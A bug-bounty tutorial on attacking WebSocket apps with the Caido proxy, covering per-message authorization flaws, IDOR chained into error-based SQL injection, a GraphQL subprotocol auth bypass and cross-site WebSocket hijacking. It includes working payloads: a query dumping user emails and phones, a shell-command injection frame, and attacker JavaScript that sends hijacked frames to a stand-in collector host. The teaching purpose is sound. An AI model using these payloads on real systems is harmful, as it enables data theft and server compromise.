I'm always excited to connect with professionals, collaborate on cybersecurity projects, or share insights.
Most hunters stop at 101 Switching Protocols. The request count freezes, the scanner goes quiet, and the tab looks dead. So they close it and move on. That is the mistake, and it is exactly where the money is.
WebSocket security is the surface almost nobody tests. People pull full remote code execution out of WebSockets, and most bug bounty hunters never even open the WebSocket tab. They test the app over HTTP, watch the requests stream in, then hit that 101 and treat it like the edge of the map. It is not the edge. It is the door.
Here is the uncomfortable truth. The 101 is not where you stop. It is where the hunt starts. Everything a company spends money defending lives on the HTTP side. The moment the connection upgrades, most of that protection is gone, and the same boring bugs you already know how to find are sitting in frames nobody inspects.
This article walks the whole surface. Broken authorization on a per-message basis, an IDOR that turns into a database dump, a GraphQL auth bypass almost nobody knows about, and a webpage that ends in a shell. I built a deliberately vulnerable WebSocket app so you can practice every attack here yourself. The link is in the video description. Spin it up and follow along.
Table of contents [Show]
Sec-WebSocket-Protocol: graphql-ws can drop you onto a legacy handler that accepts subscriptions before authentication runs.SameSite=None cookies, and localhost services keep it alive.A WebSocket is one connection that stays open so both sides can talk whenever they want. That is the whole model, and everything you attack later hangs on it.
A normal HTTP request is one and done. You ask, the server answers, the conversation ends. Every new thing you want, you knock again. A WebSocket throws that out. It opens a single pipe and keeps it open, and the server can push to you without you asking. That is why chat updates live, why a trading dashboard ticks in real time, why a collab doc shows another cursor moving. Notifications, multiplayer, GraphQL subscriptions. All of it rides WebSockets.

It starts as a completely normal HTTP request. A GET with one special header, Upgrade: websocket. The server agrees, replies with 101 Switching Protocols, and from that exact moment the connection stops being request and response. It becomes an open pipe in both directions until someone closes it. This is all defined in RFC 6455.
You will see a header called Sec-WebSocket-Key. Ignore the name. It is not authentication. It is a handshake formality that proves both sides speak the protocol. It protects nothing.
And here is the fact that breaks this entire surface open. The Same-Origin Policy, the rule that stops one website from reading another site's data, does not apply to WebSocket connections. The server has to check the Origin header itself, and plenty of them do not. Sit with that, because it comes back later. After the upgrade, the messages are usually just JSON. They look like little API calls, because that is exactly what they are.
WebSockets are a blind spot because a company's defenses live on HTTP routes, not on the message handler. The WAF inspects HTTP. The CSRF tokens sit on HTTP forms. The access-control middleware runs on HTTP endpoints. Almost none of it is wired into the socket. PortSwigger says it plainly: most testers stop the second they see that 101.
Then there is the deeper problem. On most apps, authorization is checked one time, at the handshake. Once you are connected, the server trusts the pipe. It does not re-check who you are on every message. So every single frame you send after that is its own little request, and almost nobody tests whether that request is actually allowed.

That is the prize. Not some exotic WebSocket-only exploit. It is the normal bugs you already hunt, IDOR, injection, broken authorization, sitting in frames that no tool and no hunter ever looks at. The vulnerability class is old. The location is new.
Run the same five-step recipe on every WebSocket target you touch. It turns a vague "there's a socket here" into a repeatable test.
/ws endpoint and its subprotocol.
In Caido, four tools cover the whole flow.
WS History is the record of every socket Caido has seen. One row is one connection. On the right, every message that rode it, with an arrow for direction. To-server is you talking, to-client is the server pushing back. It is read only. This is the tape, not the place you tamper.
StreamQL is the filter language for sockets, the same idea as HTTPQL for normal traffic. Two namespaces, ws for messages and stream for connections. Drop the tiny keepalive frames and leave the real messages:
ws.format.eq:"text" AND ws.len.gt:100It takes regex too, so you can sweep every frame for a pattern in one query.
Intercept catches a message mid-flight so you can change it before it reaches the server. Turn on the Websockets toggle, trigger an action, edit the queued frame, then forward. You reach for this when timing and order matter.
WS Replay is the new one, and the reason this is worth a video right now. It takes the upgrade, opens its own fresh connection, and lets you edit any single frame and fire it over and over. This is Repeater, but for WebSockets. Before it shipped, testing a socket meant fighting your tools. Now it is edit and send.
History to find the traffic, StreamQL to filter it, Intercept to catch it live, Replay to craft and fire. Every attack below is one of those four.
Broken function-level authorization over a WebSocket means a low-privilege user sends a privileged message and the server runs it, because it only checked who you were at the handshake. This is the cleanest proof of the whole idea.
To send an admin message, you first need to know what one looks like. Do not guess. Read the client. Learn the normal shape from your own traffic first. A chat send looks like this:
{"type":"chat.send","text":"hi"}Every message is the same skeleton. A type, plus some fields. Now you need the types you are not allowed to send. Your account does not see the admin panel, the UI hides it. But the code that drives that panel still ships to every browser. Open the app's JavaScript in dev tools and search the bundle for the message types:
admin.broadcast
admin.setMotd
ops.runDiagnosticYou did not invent those. The client handed them to you. The UI hides the button, it does not hide the code.
Now build the attack, and do not type a frame from scratch. Take a real one you already captured, so the structure is guaranteed valid, and change nothing but the type. In WS Replay:
{"type":"admin.broadcast","payload":"Owned by a regular user."}Send it from the low-privilege session. It goes out to every connected client. The handshake was the only door, and you walked through it already. Every message since has been on the honor system. That is broken function-level authorization, living in a frame.
This is the one to really watch. It starts as the most boring bug in the book, an IDOR, and ends with the whole user table. One field does all the work.
Say the app opens a document over the socket. The message is a type and an id:
{"type":"document.get","id":"9001928374650192837465001"}Change the id to a document you do not own and resend. If it comes back, there is no ownership check. That is IDOR. Same bug you would find on an HTTP endpoint, except it is hiding in a frame nobody inspects.
Then you hit the wall, and the wall is what makes this interesting. The ids are long, 25 random digits. High entropy. You can read a document if you know its id, but you cannot guess them. Most hunters stop here and report a medium. But high entropy is not authorization. It just means you need a list.
So make the field talk. Change the id to a single quote:
{"type":"document.get","id":"'"}If the id drops into a SQL query with no parameterization, Postgres throws the query straight back at you in an error frame. Isolate it:
ws.raw.cont:"error"It is injectable, and now it talks. From here, error-based extraction. Cast the data you want into a number so Postgres chokes and spills the value inside the error text:
1' AND 1=CAST((SELECT string_agg(email||':'||recovery_phone, ',') FROM users) AS int)--Postgres reports invalid input syntax for integer, and the emails and recovery phones ride out in the message. Pull the real document ids the same way. Then close the loop. Feed those harvested ids back into the original document.get IDOR.

The injection handed you the ids. The ids unlock the IDOR. The wall that stopped everyone else was the door. An IDOR on a frame that pivots into error-based SQL injection over a WebSocket is a real report. That shape paid two thousand dollars earlier this year. The bug was never exotic. It was just somewhere nobody looked.
A GraphQL subscription rides a WebSocket, and there are two protocols that do it with a naming trap that is almost cruel. This one is for people who think they know GraphQL. GraphQL is just the passenger. The bug is in the WebSocket underneath.
The modern protocol subprotocol is graphql-transport-ws, implemented by the graphql-ws library. The legacy one is graphql-ws, implemented by the older, unmaintained subscriptions-transport-ws. Same words, different machines. Five things make this exploitable.
The client picks the protocol. It is chosen through the Sec-WebSocket-Protocol header on the upgrade. Not the server. You.
Servers leave both on. For backwards compatibility, the weak old handler is usually sitting right there, even though the real frontend never touches it.
The modern handler gates everything. You have to send connection_init, get an ack, and only then can you ask for data. The legacy handler, in a popular setup, did not. Authentication ran in an onConnect callback that some servers never implemented, so a subscription could proceed before any auth.
To exploit it, take the upgrade into WS Replay and change the header from graphql-transport-ws to graphql-ws. Skip connection_init entirely. Send a legacy start frame straight away:
{"id":"1","type":"start","payload":{"query":"subscription { adminAlerts { severity message host } }"}}No init. No ack. No session. You forced the app onto the old handler and subscribed to the admin alerts, and it streamed. That is an auth bypass, and it maps to real CVEs.

Read the close codes like an oracle. Back on the modern path, poke it and watch how it closes. Per the graphql-ws protocol, 4401 means there is a real gate before the ack. 4403 means auth is enforced and you failed it. 4408 means you never sent init in time. Those numbers map how the server thinks before you even land the bug.
Introspection leaks per transport. Send an introspection query over the socket. Teams block it on the HTTP endpoint and forget introspection is a per-transport setting. The socket runs the same schema, so the whole map of the API comes back over the channel nobody watches.
Be clear about tooling. All of that is by hand in WS Replay. For normal HTTP GraphQL there is the GraphQL Analyzer plugin, where you right-click a POST request and pull the schema by introspection. That is the HTTP side. Over a socket there is no shortcut. You craft the frames yourself. The move is what matters. The client picks the protocol, so you pick the weaker one.
Cross-Site WebSocket Hijacking (CSWSH) is CSRF on the handshake. A page on another origin opens a socket to a site you are logged into, the browser attaches your session cookie, and because WebSockets are not covered by the Same-Origin Policy, the connection succeeds as you.
The catch is the cookie. It rides along only if it is same-site. An attacker page on evil.victim.com, a subdomain of the target app.victim.com, counts as same-site, so a SameSite=Lax cookie is sent on the handshake. The attacker page is a few lines:
const ws = new WebSocket("wss://app.victim.com/ws");
ws.onmessage = (e) => {
// every inbound frame, straight into the attacker's log
fetch("https://evil.victim.com/collect", { method: "POST", body: e.data });
};When the victim, signed in as an admin, visits that page, the socket connects as them and their private frames stream into the attacker's log. No phishing form. No token theft. The browser attached the session because WebSockets do not get the Same-Origin Policy, and the page is same-site.

That read-back is the part most people miss. CSWSH is not fire and forget. Because the pipe is two-way, you are not just sending, you are reading data back out. Now turn it into something worse. Drive an admin-only action over the hijacked socket. Say the ops diagnostic pings a host:
{"type":"ops.runDiagnostic","target":"127.0.0.1"}Watch the target field. If it drops into a shell command, add a separator and a second command:
{"type":"ops.runDiagnostic","target":"127.0.0.1; id"}The server runs id and the output returns in a frame. That is the chain. A webpage, to a hijacked socket, to an admin message, to a command on the server. The shape is exactly the Gitpod chain, CVE-2023-0957, where a cross-site WebSocket hijack went from data extraction to full workspace takeover and got fixed in a single working day. From a page you visit, to a shell.
CSWSH is narrower than it used to be, but it is not dead. For years it was easy money, because cookies rode along on every cross-site request. That era is mostly over. Browsers now default cookies to SameSite Lax, and the WebSocket handshake is not a top-level navigation, so Lax cookies are not sent cross-site. The lazy version is gone.
It survives in three real cases.
| Case | Why it still works |
|---|---|
| Same-site, cross-origin | SameSite is judged at the registrable domain, not the exact origin. evil.victim.com is same-site to app.victim.com, so the cookies flow. A subdomain takeover reopens the whole attack. |
SameSite=None cookies | Plenty of apps set this for legitimate cross-site reasons. Every one of those is back on the menu. |
| Internal and localhost services | Private Network Access is supposed to guard these, but it works through a CORS preflight, and WebSockets do not send a preflight. That protection is not there. This is the PlayStation and Claude Code class. |
That last case is not theoretical. In 2020, the PlayStation Now desktop app ran a WebSocket server on localhost:1235 with no origin check. Any website you visited could reach in and run code. It earned a $15,000 bounty. Five years later the same class showed up in Claude Code's editor extension, CVE-2025-52882: a local WebSocket with missing origin validation that let a malicious page read your files, your open tabs, and your diagnostics, and run code in a narrow case. And it is still shipping. Both Dozzle (CVE-2026-44985) and Nginx-UI (CVE-2026-34403) shipped CSWSH CVEs this year.
The catch is the payout. Public CSWSH bounties are modest now, often a few hundred dollars, because the conditions are narrower. The real money on this surface is behind the upgrade, in the per-message authorization and the injection from earlier. So test CSWSH, but spend your time where the frames are.
The main surface is per-message authorization and injection, but the rabbit hole runs much deeper. Keep pulling on it.
Race conditions. A WebSocket has no request-and-response pairing, so the server processes your frames concurrently by design. That makes sockets genuinely good for racing. The honest limit is you cannot get the perfect co-arrival of an HTTP/2 single-packet attack, so timing is looser. Still a real edge.
WebSocket smuggling. This attacks the handshake at the proxy layer, not the messages. Send a malformed version header, and some proxies keep a raw tunnel open that you reuse to reach internal-only endpoints. Situational, needs a specific setup, nasty when it lands.
Binary frames. People see protobuf or a signed blob and close the tab. Do not. That is encoding, not security. Grab the schema, decode it, edit at the structured level, re-encode. The bug is still in there. It survives because everyone gives up at the wall of bytes.
There is more. Oversized-frame denial of service, subprotocol leaks, and message-payload deserialization that has hit 9.8 criticals. You will not walk every one today. But now you know they are there, and they all live in the same blind spot.
The bugs were never exotic. IDOR, broken authorization, SQL injection, CSRF. You already know how to find all of them. The only thing that changed is where they live. They moved into frames, past the handshake, into the one part of the app that no scanner reads and no hunter opens.
So remember the recipe. Find the socket. Catch the 101. Then attack the frames, because authorization stopped at the handshake and every message after it is a request nobody checked.
When you see 101 Switching Protocols, that is not the end of the app. That is the start of the part nobody tested. Open the WebSocket tab on your next target. Don't quit at the 101.
Your email address will not be published. Required fields are marked *